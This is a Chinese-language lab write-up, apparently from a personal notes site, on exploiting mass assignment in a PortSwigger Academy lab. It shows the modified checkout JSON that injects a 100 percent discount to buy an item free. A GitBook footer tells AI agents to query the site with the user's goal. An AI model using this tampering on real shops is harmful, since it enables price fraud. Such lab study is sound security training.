> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/mass-assignment-exploitation.md).
# 批量赋值利用
面向 PortSwigger Web Security Academy 实验室的批量赋值利用笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
### 利用批量赋值漏洞
**实验目标**/ 利用批量赋值漏洞，在资金不足的情况下购买轻量级“l33t”皮夹克。/ 提供的凭据： **wiener / peter**
#### 正常行为观察
当将产品添加到购物篮并尝试验证订单时，会向 API 发送一个请求：
**POST 请求到 `/api/checkout`**/ 请求正文只包含所选产品：
```json
{
"chosen_products":[
{
"product_id":"1",
"quantity":1
}
]
}
```
然后，当你检查购物篮状态时，会向同一端点发送一个 GET 查询。
**GET 请求到 `/api/checkout`**/ 响应由服务器返回，采用 JSON 格式，并包含额外字段：
```json
{
"chosen_discount":{
"percentage":0
},
"chosen_products":[
{
"product_id":"1",
"name":"轻量级 /"l33t/" 皮夹克",
"quantity":1,
"item_price":133700
}
]
}
```
该 `chosen_discount.percentage` 字段，在最初发送请求时客户端无法控制，因此可以看到。
#### 漏洞利用
在拦截 **POST `/api/checkout`** 请求时，可以手动添加 `chosen_discount` 字段到请求正文中。
**修改后的请求**:
```json
{
"chosen_discount":{
"percentage":100
},
"chosen_products":[
{
"product_id":"1",
"quantity":1
}
]
}
```
当返回查询结果时，服务器接受了这一更改。
#### 结果
服务器对产品应用了 **100%** 的折扣，这使得可以免费完成购买。/ 命令已成功验证，如重定向到以下地址所示：
```bash
/cart/order-confirmation?order-confirmed=true
```
#### 结论
此漏洞基于 **批量赋值**，即 API 在缺乏适当验证的情况下接受并处理客户端提供的敏感字段。通过注入一个未预期的参数（`chosen_discount`），可以修改业务逻辑并绕过价格控制。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/mass-assignment-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
